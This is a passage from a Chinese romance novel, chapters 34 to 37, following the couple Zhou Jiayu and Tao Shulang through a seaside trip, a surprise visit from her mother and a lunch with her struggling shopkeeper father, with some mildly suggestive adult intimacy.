她嗯了一声,继续吻他的嘴唇。 他从善如流地问,“现在要吗?” 她答,“要。” 第34章 第34章越来越会 第二天一早,天刚亮,床头柜上的手机一连震动了好几下,周家瑜醒来,循着声音看去,不是自己的手机。 她想起自己有睡前把手机调静音和关流量的习惯,发出声音的手机是陶舒朗的,她还有点困,昨天晚上闹的时间有点长,身体交流中两个人变得越来越精神,最后睡下的时间有些晚。 周家瑜困得睁不开眼睛,伸出手去找人,陶舒朗也还在睡,她碰到他的身体,边推人边嘟囔道,“把手机关掉,我要睡觉。” 陶舒朗也困,但架不住有人在自己耳边碎碎念。 他伸手拿过手机准备调静音的时候又进来一条信息,是李牧。 李牧过年去了北欧,跨年过得有钱又有闲。 点开信息,之前他过来几张极光的照片,陶舒朗看了一眼后关掉手机继续睡觉,周家瑜不断地往他怀里拱。 他本能地搂住她,在她头发上亲了一下,清晨的声音有些沙哑,“静音了,继续睡吧。” 两个人继续沉沉地睡去。 第二天周家瑜醒来,往后一伸懒腰,才发现头顶处还有两个枕头,昨天晚上情到浓处,两个人的身体紧紧贴在一起不断纠缠移动,不断动作中她的头差点撞到床板。 当时陶舒朗伸手拿来两个枕头放在她头顶后方起缓冲作用。 周家瑜看向旁边,旁边的人已经起床了,如果她没猜错的话,陶舒朗现在应该正坐在客厅里看文献。 作为医生需要不断学习新理论和新知识,如果再碰上那个人本身就很上进,每天学习就会成为生活常态。 大学两个人在一起的时候陶舒朗就是这样子,现在学习的劲头还是没变。他们那时候经常去图书馆约会,可以看书还可以坐在一起,还能时不时趁对方不注意偷看对方。 陶舒朗看起书来经常很投入,周家瑜大多时候不好意思打扰他,所以也被带着看进去很多书,大三大四她的专业成绩在学院都很好,荣升学霸。 陶舒朗熟悉的样子让人觉得有点怀念还有点压力。 是的压力。 参加工作之后周家瑜下班后就想在家休息,去做点工作之外的事,周末和节假日对她来说更是充电放松的时间。 相比陶舒朗她觉得自己是低能量的人,处理日常琐事耗能非常快。 之前自己是睡不安稳,现在睡安稳了,但是睡眠时间有点短,她感觉陶舒朗比年轻时还厉害。 虽然现在也只是三年后,不是说男人过了三十就走下坡路吗。 想到这里,她滑开手机屏幕搜了搜相关问题,发现评论区有跟自己一样困扰的姐妹,楼层下面回复的大多是旱的旱死,涝的涝死,姐妹吃的真好,要惜福之类的。 此题暂时好像有点无解。 周家瑜起身去浴室洗漱,看着镜子中的自己,第一眼不确定又看了看,本以为睡眠不足脸色会差,不知道是不是酒店灯光的问题,看着脸色竟然还不错。 自己之前几年真的全素,最近男色吃到撑。 洗漱完她走进客厅,陶舒朗听到动静,转头看她,这会他眼睛上带着防蓝光眼镜,看上去更像理科学霸了。 最近有个专门的词来形容这类人,对了,hotnerd. 周家瑜决定不能让陶舒朗知道自己觉得他很性感。 “吧台有热水。” 周家瑜拿起恒温壶倒水喝,水壶是陶舒朗带来的,用自己的他最放心,之前周家瑜自己出游的时候在酒店里也不自己烧水喝,她会带一个大点的保温杯,或者直接喝瓶装水。 现在在酒店有放心热水不限量供应,这种感觉有点豪横。 说到豪横,住价格昂贵的酒店感觉就是不一样,她感觉自己像突然置身于看过的偶像剧里,女主家世再平民也会住着装修精致的高档小区。 可能这是属于自己的好梦一日游。 那就好好享受这个好梦。 她本来是倚靠在沙发背上,这会顺势躺下来,在超大的沙发上尽情地伸了一个懒腰,停下来一转头看见陶舒朗正目不转睛地看着自己,眼里有温柔的笑意。 “我比文献好看吗?” 陶舒朗下一秒就答道,“嗯。” 她揉了揉肚子,“有点饿了,你呢,饿不饿?” 陶舒朗问,“你是喜欢西式还是中式,酒店应该可以送餐。” 说完他起身去找菜单。 “你想在哪吃?房间内或者楼下都可以。”聪明的男人会让女人做选择。 “要不要下去吃?”女人做出了选择。 两个人换了衣服下楼去吃饭。 去吃早餐自助品类多一些,两个人各自选自己的,周家瑜端着盘子回到餐位 ,陶舒朗起身又去拿别的,来回了几次,每次回来问她吃不吃什么东西。 周家瑜想起身自己拿,他让她先吃东西,在她耳边低声说,“我记得有人说过小时候吃饭晚了会饿得生气。” 于是她在座位上津津有味地继续吃东西,一抬头看到对面两个女生,她们两个正在看着自己,投过来的眼神让周家瑜怀疑自己以前是不是拯救过银河系。 这些年她好像什么都没有拯救过,就拯救过低谷期的自己。 吃完饭两个人去大街上溜达,路边小店蒸笼里热气腾腾,有不少人在排队买包子,搁在平时周家瑜也得买一两个尝尝,现在刚吃完美味的早餐,什么都不想吃,就想转转。 两个人溜达没多久就走到了海边的一个公园,来公园的路上有一段长长的下坡路,一转弯,这条路就突然出现在人的眼前。 现在虽然树枝光秃秃的,但是路两旁大树林立,道路蜿蜒向下,看上去像电视剧的取景地。 两个人沿着路一直走,路过颜色各异的房子。 “在海边有个这样的房子也不错。” 陶舒朗想了想,“这种海边房子墙体容易潮湿发霉,长时间住也许对身体不好,尤其是肺。” 说完他捏了捏周家瑜的手指,“如果喜欢海边我们就隔段时间来住住。” 周家瑜点头,不过她也有些许遗憾,“不过你非常忙,时间不自由。” 医生的工作真的是太忙了,有时候忙得让人感觉跟这个世界脱频。 陶舒朗顿了一下,“好像真的是这样,我会尽量抽出时间来陪你。” 到了海边公园,两个人沿着海边的石子路走了一会,冬日海风透着冷,石子路再向北延伸就是居民小区,一片纯白色的小楼,周家瑜原本还可以畅享一下,但这会已经受陶舒朗理工男思维的影响了。 看着阳台,她在想衣服会不会总是干不透,空气是不是总是潮湿带着海水独有的腥气。 这些一会就抛在脑后,因为风景真的很好。 他们在海边拍了几张照片,陶舒朗给周家瑜拍了照片还有两张两个人的合照。 之前谈恋爱的时候他们也拍过不少,分手后周家瑜没有删除那些甜蜜时期的照片,她那时候想,不管结果如何,过程总是好的。 但是那些照片她真的不想再看,看了就会想起当时两个人一起做的事,还有那些浓得化不开的情意。 后来再意识到两个人已经成为陌生人的事实,是完全没联系的状态。 感情真让人神往,也真的是无常。 周家瑜站在海边,看着不远处的轮船还有天上偶尔出现的飞鸟,海浪不断冲击着岸边的礁石,发出有规律的声音。 陶舒朗在后面把她抱在怀里,两个人一起看向同一个方向。 怀里的人问,“真好对不对?” 陶舒朗像在世界的尽头抱着整个世界,“嗯,真好。” 两个人在黄城待了三天的时间,为了避免返程高峰期,他们初五早上返程,一路上都是陶舒朗在开车,周家瑜也有驾照,还是上大学的时候在陶舒朗的督促下学出来的,他自己的驾照是高考完的那个暑假学出来的。 周家瑜想自己开一会让他休息,但他坚持自己开,中途只在一个服务区休息过,周家瑜从卫生间出来时陶舒朗就在不远处等着。 两个人一起转了转服务区的特产店。 从店里出来回到车上,陶舒朗手里拎着一个大袋子,他买了一些之前没见过的土特产,上车后他把袋子递给已经坐在副驾的人。 “吃吃看,不好吃的我来处理。” 周家瑜边开包装袋边问,“你怎么处理?” “上班后拿到办公室给同事们吃,他们对吃的来者不拒。” 周家瑜哈哈大笑,她想起来网上的梗,洗后被宠物舔过的水果,女儿告诉妈妈说,要留给爸爸吃。 吃不惯的零食带给同事吃,这两种都有爱,就是不大多。 周家瑜试吃了几样,还投喂了陶舒朗一些,他专心开着车,眼睛看着前面的路况,有吃的递到嘴边他就张开嘴巴,让人投喂。 一次周家瑜投喂完,刮了刮他的下颌,“这个样子很乖奥。” 陶舒朗听到后面不改色地继续开着车,车里开着空调,他不怕冷,只穿着一件休闲毛衣,为了方便开车,袖口处向上挽起,他握着方向盘修长干净的手指紧握了一下,只提出了一个要求,“把手放在我的脸上。” 周家瑜虽然不明所以,但还是照做了。 就在她的手放上去的那一瞬间,陶舒朗用脸庞轻轻地蹭了蹭她的手背,蹭完嘴唇还在她手上落下一吻。 那一刹那,周家瑜就像触电一样,不是身体触电,而是类似于心灵触电或者震撼,你以为你已经足够了解一个人,也可以预判他大部分的行为,然而,当他不经意间做出你没预料到的行为,你会觉得,哇,一个人真的有很多面,丰富到让你产生一直想去探究的欲望。 她自己在不断变化和成长,她想,他也是,这种意料之外的不经意变化,在两个人的交往和碰撞中,会产生不小的心理反应。 也就是会让一个人反复喜欢上另外一个人。 周家瑜自己的手还在他的脸上,他蹭了两下就止住了,还是安全第一,在高速上更要注意。 她收回自己的手指,手上被亲吻的触感已经停留在自己心中。 她的心脏这会怦怦直跳,说他,“你越来越会了。” 第35章 第35章那个男生 出去玩真的是一件消耗体力和心力的事情,两个人回到关城的家,洗完澡换上睡衣就一起休息。 周家瑜醒来的时候外面天已经黑了,自己住的时候如果在黄昏时分醒来,有时候会觉得自己好像被隔绝在整个世界之外,现在有人在自己身边,她已经很久没有这种感觉了。 手机屏幕亮起,上面显示有一个未接来电,是彭月华的,彭月华打电话从来不会连环轰炸,每次都是一个,打了没人接就不会再打。 周家瑜手机常年静音,接不到别人电话是常态。 她拿起手机,轻轻地关上卧室门,走到另一个房间给彭月华回电话。 周家瑜说自己刚刚回到关城,她也问了外婆的近况,彭月华告诉她,过年串亲戚的时候他们兄妹几个人单独聊了一会。 人到中年,每个人都有自己的责任和委屈。 给老人养老,年纪越大,大家说话也越来越不藏着掖着,一起吐槽照顾老人所受的委屈中间不留痕迹地炫耀一下自己那不为人知的孝心。 挂掉电话周家瑜开始有点忧虑,人刚睡醒就是容易胡思乱想,自己想到姥姥,她现在有点老年痴呆,记忆力一会好一会坏,去年四月底因为脑出血导致偏瘫,现在姥姥是她几个孩子在轮流照顾,说实话,大家都累得要命。 周家瑜在想,等自己以后,应该是一个人照顾两个,对于周元明,到时候花他的钱让他挑护工或者他自己喜欢的养老院去住,对他,周家瑜觉得自己没有负担。 彭月华到时候肯定会和她一起住的。 算了,仔细想肯定会焦虑,所以多想无益。 精神胜利法再次奏效。 周家瑜轻轻地打开房门,屋里还是静悄悄的,她走到厨房准备熬点粥来喝。 煮上粥之后,周家瑜站在灶台前等粥煮开关小火,这时候陶舒朗从卧室里出来,边走边叫她。 她应了一声,就听见卫生间关门的声音,陶舒朗有个很好的习惯,就是去卫生间会关门,还会把马桶盖掀起来,用完还会把马桶清理得干干净净。 周家瑜之前在网上看到过类似的帖子,其中有一条评论让她印 象很深,一个女生分享自己的经历,说自己父亲大男子主义,他上厕所被要求掀马桶盖,有一次听烦了,直接尿在了马桶盖上。 周家瑜盯着砂锅里不断浮上来的小气泡,她在想,人总是会不经意间被生活中的小细节打动。 正想着,后背一热,身前多了一双手,她被人抱在了怀里,陶舒朗低下头,用自己的脸去蹭她的脸。 周家瑜自然地仰起脸,安心地被他蹭来蹭去。 他问,“在煮什么?” “小米粥。” 他点头,“正好想喝。” 他轻轻摇着她,“晚上想吃什么?” “没有想吃的,也不太饿。” 在回来的路上周家瑜断断续续地吃了不少零食。 锅里的粥已经开了,火已经关小了,陶舒朗搂着她来到冰箱前,两个人一前一后,是拥抱的姿势,还是腻歪着不分开,周家瑜打开冰箱,两个人去黄城之前,冰箱里的蔬菜已经清空得差不多了。 里面冻品海鲜和肉类倒是不少。 陶舒朗问,“要不要吃海鲜饼?” 周家瑜眼前一亮,“好呀。” 周家瑜有一次在料理店吃到海鲜饼,那家做的真的很好吃,她吃过一次就喜欢上了,没办法,陶舒朗看着网上的视频自学成才。 今天坐车的时间有好几个小时,所以睡前有按摩时间,周家瑜先用了按摩椅,然后又预约到了陶医生的专业按摩。 这个预约不是病人约医生,而是医生约病人。 周家瑜被按摩得太舒服了,也想投桃报李,结果陶舒朗的肌肉有点硬,她按不动,她使出吃奶的力气按,胳膊都有点酸了,只听见陶舒朗在她身下偷笑的气音。 她有点气馁,直接整个人趴在他身上表示她能提供的按摩服务到此结束。 陶舒朗翻身把她抱在怀中,两个人一起沉沉睡去。 早上周家瑜被一阵敲门声吵醒,她人在睡梦中醒来,起身准备去开门,走到门口发现好像不是陶舒朗家的门响,而是对门在响。 正准备继续去睡觉的时候她突然一个激灵。 对门就是自己家呀。 她又往猫眼里一看,敲门的人正是彭月华。 她倒吸一口气向后退,结果退到身后陶舒朗的身上,自己立马被他接住了。 陶舒朗看到她的表情,“怎么了,是谁在敲你家门?” 因为门外有人,所以周家瑜只用了气音,“我妈。” 陶舒朗抬脚就要往门口走,周家瑜以为他要开门,忙在后面拉住她,陶舒朗知道她的意思,拍了拍她的手安抚她。 “我只看看。” 他透过猫眼向外看的时候,敲门声已经停下了,这会彭月华在打电话,周家瑜也好奇彭月华还在不在,她把陶舒朗挤走。 看到彭月华正在打手机,她第一反应跑回卧室去拿手机。 幸好她手机基本上都是静音。 自己昨天告诉彭月华已经回来了,但是这会不在家,怎么解释呢? 周家瑜朝着陶舒朗做了一个嘘的手势,自己走到另一个房间才接通了电话。 “喂。” “家瑜,你现在是不是还没起,我在门口,来给你送点吃的。” “啊,妈,我这会在外面。” “嗯,那你赶快回来吧。” 两钟后,彭月华接到了挪车电话,她下楼去了,周家瑜走出陶舒朗家门,还朝楼梯下看了看,看有没有彭月华的身影。 陶舒朗把行李给她运回家,走之前他抱了周家瑜一下,还捏了一下她的脸。 彭月华下楼之前把带来的早餐挂在了门把手上,周家瑜把它拿进屋,回到家后立即开窗通风,还把行李收纳起来。 带来的吃的还热着。 她打开阳台向楼下看,一早上大家都还没出门,几乎没有车位,彭月华把车暂时停在了坡道上。 她又给彭月华打了一个电话,“妈,我已经到家了,你人呢?” “我在停车。” “要不要我下去给你看着?” “不用,带来的锅贴你先趁热吃吧。” 周家瑜把锅贴放在盘子里,八宝粥倒在一只小碗里,端着碗和盘子轻轻敲了敲对面的门,对面门立即打开。 陶舒朗看着盘子中焦黄的锅贴,“我今天有口福了。”他伸手把早餐接了过去。 周家瑜和彭月华都喜欢喝八宝粥,一早上喝到软软糯糯的东西真的让人感觉很舒适。 周家瑜边吃早饭边留意楼下的动静,一会脚步声传来,她打开门朝楼下叫了一声妈,回应传来,她把门打开一道缝留门。 彭月华进来的时候周家瑜正在喝粥,她看了看锅贴,“你慢点吃,这才多大会,你就吃了不少。” 周家瑜有点心虚地缩了缩肩膀,“妈,你要不要再吃点?” “你吃吧,我已经吃过了。” 她这里吃着早饭,彭月华脱掉身上的外套已经准备开始打扫卫生了。 “你歇着吧,这两天不是腰疼吗?” “昨天去针灸了一次,感觉好多了。” 周家瑜在江城的时候彭月华经常来打扫这个房子,屋里的布置她估计比周家瑜都熟,卫生工具平时都放在阳台上。 阳台上种了一些绿植,周家瑜这几天出门,有一阵没浇过水了。 彭月华的声音从阳台上传过来,“要记得浇水呀,花都蔫了。” 她拿着花洒去厨房接水,厨房一副不开火的样子,“你昨天晚上吃的什么?” “我在服务区吃了点,回来就没开火。” “我说呢,家里连热水也没有。” 她又回到阳台浇花,浇完水无意中透过飘窗看到东边邻居家的阳台,晾衣架上挂着几件衣服,看上去考究又得体。 忙活完一阵,她坐在周家瑜对面,看着她慢条斯理地吃饭,一副不知人间疾苦的样子,真好,彭月华在心里想,自己吃过的苦,女儿没有必要吃。 至于婚姻,可以顺其自然,彭月华自己的婚姻不幸,但是她身边有朋友过得不错的,对婚姻绝望是种痛苦的体验,不管自己的经历如何,她希望周家瑜对婚姻不要排斥,甚至希望她对婚姻要抱有希望。 不过,彭月华自己也知道,周家瑜目睹了自己婚姻的种种不堪,肯定对她有一些影响。 周家瑜吃着早餐,母女两个聊了聊过年的事情,周家瑜自己在家过完年就走了,走之前只去看了看姥姥。 那会姥姥正神志不清,也没认出她,但还是笑容可掬,年轻时待人接物的范还在,毕竟也是做过妇女主任的人,她看着周家瑜笑着问彭月华,“这是哪家的亲戚?” 周家瑜这会想起当时的场景还有点哭笑不得。 彭月华告诉她,这几天姥姥的精神头不错,初三那天走亲戚,她又想起了周家瑜,问她现在在哪里上班。 这算起了话头,大家过年走亲戚当然要围着家中的老人转,当时屋里周家瑜的姨妈和舅妈都在。 就又问起了她现在谈没谈,俨然一副催婚的架势。 彭月华之前无意中知道周家瑜有正在谈着的对象,还发展到已经在家留宿的地步,当时在亲戚面前只说,“孩子大了,让她自己拿主意。” 当时周家瑜的大舅妈一副不以为然的样子,还要继续向下说时老太太自己说口渴了,为了以示孝顺,她麻利地起身倒水去了。 周家瑜想起大舅妈平时的做派笑了笑,她这会吃饱了,起身端着碗筷去厨房收拾。 周家瑜在厨房洗着碗筷,水龙头的水有点凉,她想起陶舒朗家厨房里的热水器,每次洗东西都是温度适宜的热水,这会凉水过手,她在想自己有时候是不是过得有点糙,生活中冷不丁的一些小细节真的很能提高幸福感。 收拾完她抽了厨房纸认真地擦拭水槽的边边角角,她有时候在陶舒朗身边是懒了点,饭来张口衣来伸手,但她自己一个人的时候也是家务小能手。 收拾完她起身伸了伸懒腰,冷不丁看见彭月华正倚在厨房门口,在看着自己。 悄无声息地,把周家瑜吓了一跳。 彭月华又看了看周家瑜,问她,“你和那个男生现在还在联系吗?” 第36章 第36章有小猫要养 周家瑜没想到彭月华会问这个问题。 仔细一想,也是人之常情,过年回家亲戚 们的关心虽然被彭月华搪塞过去,但是作为家长,子女到了年龄不结婚,应该很少有淡定的。 她如实回答,“一直在联系。” “你这次出去旅游是和他一起去的?” “嗯。” 彭月华突然意识到今天早上自己来送早饭,可能又打扰到了周家瑜,小时候软萌的女儿,长大了有了自己喜欢的男人和隐私。 内心百感交集,她说,“如果觉得对方还不错,一定要多了解了解。” “妈,你放心。” 彭月华看着周家瑜舒展的面容,女儿好像越来越漂亮了,一看就是有人疼爱生活舒心。 但感情这种东西很无常,想当年自己和周元明感情刚开始也不错,周家瑜出生后的前几年他也一直是个尽责的父亲。 小时候的周家瑜很喜欢和周元明一起出去串门。 彭月华又及时提醒自己,她希望自己对婚姻的悲观态度不要影响到周家瑜,她希望周家瑜对婚姻要抱有希望。 彭月华一会约了朋友逛街,她起身准备离开,突然想起一件事,她问周家瑜,“你有没有见过对面的邻居?” 周家瑜面不改色,像小时候偷吃了糖果却耍赖不认的心理状态,“没有,只听见过开门关门的声音。” 彭月华听到点点头,“听说去年对面这套房子卖出去了,卖的价格还不错,你如果见到邻居,可以问问价格。” 彭月华知道周家瑜和奶奶关系一直很不错,周家瑜小时候夫妻两个工作都很忙,周家瑜常常在奶奶家待着。 周家瑜对这套房子很有感情,但是如果以后她决定待在江城的话,买房就是个大事情,首付多凑一些总是好的,这套可能早晚都要出手,还不如趁现在行情好多打听打听。 周家瑜并不想和彭月华多聊对面的邻居,她点了点头。 彭月华走后,周家瑜把行李箱拿出来整理,刚整理得差不多门铃响了,透过猫眼她看见有人拿着餐具站在门口。 门打开陶舒朗走进来,他直接去了厨房,周家瑜跟着他,看着他把餐具放进橱柜,又继续站在那开始收拾橱柜,身边有个喜欢做家务的人真的感觉不错。 她心里有些痒,站在他身后环住他,自己的脸庞贴在他宽阔的背上,陶舒朗平时看着不胖,压在身上却很重,周家瑜个子在女生中算是高的,但最近在陶舒朗身边她有时候觉得自己很小只。 因为陶舒朗力气很大,两个人玩闹中体力上较劲的时候,她又体会到了什么叫蚍蜉撼大树,字面意思上的。 这会周家瑜闻着他身上的气味,这种味道真的让人不会厌烦不会腻。 陶舒朗拍了拍她环在自己腰间的手,继续收拾橱柜,她则继续做着自己的无尾熊,“你很勤快你知道吗?” “嗯。” 陶舒朗问,“一会有什么想做的没有?” 他说话的时候周家瑜就贴在他的背后,所以她直接感受到他胸腔的震动,她觉得很有趣。 “今年本来打算去拜财神的,结果今天初六了,再去拜还灵吗?” 周家瑜想起自己小时候和父母过年一起去寺庙拜拜的场景,刚开始跟着去只是觉得好玩,因为过年时寺庙很热闹,有各种卖东西的摊位,还有在乞讨的乞丐。 大人们都很虔诚地一个殿一个殿的拜过去,但自己空腹一直跟着拜,一会就觉得很饿,回来的路上彭月华牵着自己的手,自己饿得直生气,一直说些不该说的话。 现在周家瑜长大了,成了小时候自己所不能理解的被俗世缠绕,欲念困扰的大人,现在她变得现实了很多,不像小时候一拜神就心空空,自己那时候好像没有什么愿望,还曾以此为荣,觉得自己很与众不同,现在自己去拜财神的话,她具体的金额和时间节点都想好了。 愿望就绪,只等拜神。 陶舒朗想了想,“错过初五,十五应该可以补上。” “到时候一起去?” “嗯。” 周家瑜胳膊圈着人,抱着抱着就不老实了,手有它自己的想法,一会就偷偷地滑进人家的家居服里去感受肌肉去了。 边摸边一本正经地发表感想,“这位同学腹肌怎么练的?” 陶舒朗被骚扰,丝毫不以为意,边做家务边回答她,“应该是游泳和跑步。” 周家瑜这会整个人趴在他背上,两个人身体相贴,她在他耳边说,“我觉得好性感。” “转过来让我看看。” 陶舒朗已经收拾得差不多,听话地转过来,眼里带着笑意,周家瑜撩起家居服细看,手感不错,观感更不错。 她的手在别人身体上肆意地揉捏,这个别人任她为所欲为,眼睛一直在看她,眼神变得越来越深邃。 陶舒朗一用力把她整个抱起离地,她熟练地用腿牢牢地环住他,两个人像连体婴一样向外走去,周家瑜看了看客厅的窗帘,如梦初醒,“窗帘没拉。” 陶舒朗边吻边吓她,“没关系,让他们看。” 接着把她拐进了卧室,欲望的实质像是从关闭的卧室门缝隙中溢出来。 去度假之前周家瑜把卧室收拾得很干净,可以直接拍家居用品广告的程度,半小时后,原本平整的床品变得凌乱不堪,像是有人在上面打滚并挣扎了许久。 这会身心的一切躁动都平复了下来,周家瑜靠在陶舒朗怀里一动不动,除了指尖在他身上不断地滑动。 “要是有只烟就好了。” “没有,早就戒了。” “好可惜,一起吞云吐雾感觉应该不错。” 陶舒朗有些汗湿的身体贴近,坏笑着在她耳边说了一句话,她脸有些发热,想起刚才陶舒朗让她低头看他们两个在一起时的场景。 她不想白天看,太生。猛了,他一直哄她,表扬她,说她好厉害,说她吞得好。 周家瑜以后再也不说这个字了。 两个人收拾完换完衣服还是出了门,这段时间他们两个真的不适合在同一个密闭空间里待着,因为最近好像不管在做什么事,一会两个人就会自觉不自觉地攀缠到一起。 坐上车之后,车还没开出小区,周家瑜问,“女生会不会肾虚?” 放假期间小区路上有时候可能会有小孩突然飞出,陶舒朗一直看着路控制着车速,他说,“会。” “你会不会?” 他没答,只看了她一眼,然后跟她说,“我看外面人不少,要不我们掉头回家。” 周家瑜的反应是瞟了他一眼,眼神有点勾人和无辜。 车子这个时候正好停在小区门口,起落杆打开,陶舒朗伸出胳膊握住她的手捏了捏。 因为是过年,大街上的装饰是冬季节日限定款,周家瑜今天也应景的穿了一件红色的毛衣。 两个人准备去商场随便转转,先达成离开家的小目标。 停好车之后周家瑜挽住陶舒朗的胳膊一起朝商场走去,今天天有点冷,但是天气不错,周家瑜身上穿着暖和的新毛衣,她这会突然想吃点凉的,比如说冰激凌。 她告诉陶舒朗,陶舒朗说今天只能吃这一个。 进了超市之后,她站在琳琅满目的冰柜前一格一格地搜寻自己想吃的那款,陶舒朗看她抱着手低头看着冰柜,一副很认真的寻宝样子,觉得很可爱。 他打开手机拍了一张照片,至于某人,因为这会正在很认真地找吃的,丝毫没有发现自己正在被拍。 周家瑜找了几个格子,正当陶舒朗以为她没找到自己想吃的那款时,只见她雀跃地打开一个格子,从中间拿出一盒冰激凌来。 她把盒子兴奋地举到陶舒朗面前,他定睛一看,是什么布蕾冰激凌。 买了冰激凌,一人一个,周家瑜说给他也买一个,陶舒朗付完账,看周家瑜在前面手里托着小盒子走着。 “找个地方尝尝你的冰激凌吧。” “好耶,正有此意。” 大冬天在外面吃冰除了吃进冷空气之外,可能还会被人围观,两个人最后好不容易在商场内找到了一个可供顾客休息的椅子。 肯定是一个坐着,另一个站着旁边,冰激凌退冰时间差不多了,周家瑜坐 在椅子上,先给陶舒朗示范怎么吃。 要用勺子把最上面的焦糖脆壳敲碎,然后和下面的牛乳冰激凌混在一起吃,她舀出第一口,然后递到陶舒朗嘴边,示意他张嘴,“阿。” 陶舒朗自然地俯身,很配合地张开嘴巴吃了进去,“味道很不错,就是有点甜。” 因为只有一个空位,所以刚才周家瑜开玩笑地说让他坐,然后自己坐在他大腿上,这要是在家,陶舒朗当然求之不得,但这是在外面,还是要注意一下市容市貌。 两个人吃完冰又返回超市买了一些吃的,陶舒朗推着购物车在后面跟着,周家瑜在前面选东西,她再一次在冰柜旁边停留的时候被陶舒朗连人带车一把拉走了。 买完东西直奔市图书馆,陶舒朗要去借一本参考书,网上找不到电子版本,过年网上书店有货的不发货,他无意中查到市图有这本书,真的让人有点惊讶,一看标注,是海市图书馆友情捐赠。 两个人去图书馆的路上,周家瑜问他,“你是不是很喜欢医生这份工作?” 不然怎么会过年都去借医学参考书。 陶舒朗之前没被问过这个问题,他想了想,喜欢吗,自己当时填志愿,学医是家人的建议,他自己也不排斥就学了。 选了这个专业之后他真的很用功,就像定了一个目标之后就好好努力,这种惯性对他来说就像呼吸一样自然。 参加工作后,是他人生的至暗时期,高强度忙碌的工作让他的身体疲劳,有时候累得下班后洗漱完直接睡觉,让他没时间去想周家瑜。 现在忙碌的工作偶尔会耽误自己和她的见面和约会。 喜欢吗,他没想过这个问题,有一份工作,自己能有进益,有一份不错的收入,能给她带来更好的物质生活,从这个方面来讲,他应该喜欢这份工作。 他伸手牵住她的手握了握,回答,“还行吧,家里有只小猫要养。” 第37章 第37章利是 听到陶舒朗的回答,坐在副驾上的小猫周家瑜用手松了松自己身前的安全带,她怎么感觉这会有点无法呼吸。 她突然想起一句话,一切都会过去,失恋的痛苦会过去,爱本身也会过去。 她想着想着不由自主地地把那句台词说了出来。 陶舒朗听到后问,“是剧中的台词吗?” “嗯。” “是哪一部?” 周家瑜说了名字。 接着他说,“我好像很久没有看过一部剧了。” 两个人在大学期间曾经一起追剧,看完之后吃饭时也会一起讨论剧中的情节和人物,有时候他们不仅是恋人,而且是很好的朋友。 周家瑜说,“等有空的时候一起看剧。” “好。” 想起两个人大部分时间都处于异地,“可以屏幕共享一起看,还可以发即时弹幕。” 陶舒朗想起自己参加过的那些会议,一般屏幕共享用于工作,现在要用在生活中,还是和周家瑜一起用,他很期待。 周家瑜平时有记录自己经期的习惯,最近几个月她的经期一直在推迟,不多,每次也就几天,按照她比较惜命的习惯,应该需要去医院挂号了。 她都可以想象医生问自己是否有男朋友的情景,有,然后她会在心里说,虽然是异地,但是有时间就会在一起,所以是有点频繁的那种,不知道自己经期推迟跟这个有没有关系。 之前陶舒朗说自己的一切他都想知道,然而有时候,她也需要一些隐私。 至于他,他也有自己的隐私,他不说,周家瑜也不会问。 节后开工,周家瑜提前一天回江城,本来她打算直接坐高铁或者打个顺风车,陶舒朗坚持自己开车送她回去。 也是,两个人过年期间一起出游,整天在一起,突然分开会有一些不适应,陶舒朗现在只想抓住一切时间和她在一起,即使两个人什么也不做,什么也不说,只在对方身旁待着也是好的。 于是周家瑜饭来张口的日子又延续了一天。 新年开工第一天,李牧为了图喜气派了开工利是,他很早到公司,站在门口笑着给大家发红包。 周家瑜也收到了一个,回到座位上打开一看是一张一百的,刚才见到散财李童子,过年去了北欧,看来疗愈效果不错,整个人看起来很有精神。 上午李牧把周家瑜叫到办公室,跟她聊了一会工作上的事情,聊完之后他告诉周家瑜自己旅游回来给她带了一份礼物,已经放到她抽屉里了,因为不是办公室人人都有。 他还很谦虚地讲,“希望自己没挑错礼物,你不要嫌弃。” 李牧略带调侃地告诉她,自己给陶舒朗也带了一份,已经寄给他了。 周家瑜回到座位上,拉开抽屉,里面躺着一个不小的盒子,现在办公室人多,她不能打开看,看了看外包装,应该是餐具之类的。 她知道李牧给自己送新年礼物是看在陶舒朗的面子上,陶舒朗昨天晚上回了关城,因为要上夜班,她给他发信息,不知道他这会有没有在补觉。 “你收到李牧给你寄的新年礼物了吗?” 发给陶舒朗的信息没有回复,周家瑜倒是收到了周元明的信息,真是意外。 周元明说他明天来江城办事,问她有没有时间,两个人一起吃个饭,父女两个过年时只在便利店匆匆见过一面。 中午周家瑜有两个多小时的休息时间,一般她都会在公司吃完饭后午休,今天要和周元明一起吃饭,周元明办事的地方离她公司不近,他们约了一个中间位置的地方见面。 地点在一家做家常菜的餐馆,周元明喜欢吃炒菜,周家瑜先到,她在微信上给周元明发了位置,不一会他也到了。 周家瑜抬头一看,差点没认出他,周元明肉眼可见地变老了,倒不是皮肤变得多松弛,就是精气神好像没有了,脸色也比较憔悴,他还胖了。 想想也在意料之中,他几乎一天二十四个小时都在店里,大部分时间都是坐着看店,之前有个相好的,还能出去一起约会转转什么的,心情好人也跟着变精神了,现在相好的跑掉了,他人财两空,受了打击大病一场,他现在也变得很少出门。 吃饭聊天中周家瑜得知周元明这次来是为了和设计公司商量装修细节,他打算把便利店重新装修一下。 之前便利店生意一直不错,尤其是疫。情期间,大家动不动就被封在小区里,大的超市离家远,还是家门口的便利店方便,所以周元明当时发了一笔小财。 最近同行疯狂内卷,关城开了好几家连锁的零食超市,品类很多,还有会员打折日,近期也流行大商超代购,东西全,价格优,网购平台更是送货上门,还有大巴车周末去外地网红超市一站式采购。 便利店的顾客越来越少,营业额跟之前相比直线下降,周元明情场失意,现在一门心思扑在便利店的经营和挣钱上面。 有一天晚上快十一点的时候他还没关店,有一对情侣急匆匆地进来买东西,他们买了烟和安全用品,女生走出店门后开始抱怨,说这店里面有股怪味,真不好闻。 店门口的抱怨当然被一门之隔的周元明听得一清二楚。 周元明本身是喜欢干净的人,店里奇怪的气味应该是便利店里常年累积的味道,里面杂七杂八的货品很多,重点是便利店并不通风,这间便利店是当年周家瑜爷爷奶奶省吃俭用盘下来的,为了不招贼他们把后面的窗户都封住了。 周元明当天晚上关了店之后开车去灯火通明的零食店转了转,店外面的装设明丽大气,店里还放着洗脑的广告音乐。 站 在里面自己亲身体会一次就知道自己苦心经营的便利店跟这家店差别在哪里,这家店之前周元明也来过,不过那时候完全是以顾客的心态来的,他带李荣的女儿来买过一次零食。 他给自己买了一些自己店里没有的零食,先尝尝味道,好吃的话店里也进一些货。 他现在一心只想挣钱。 周家瑜心里是有些佩服他的,工作一直勤恳,也一直努力地跟随潮流,周元明是一个目的性很强的人。 今天的见面周家瑜也可以猜出一点原由。 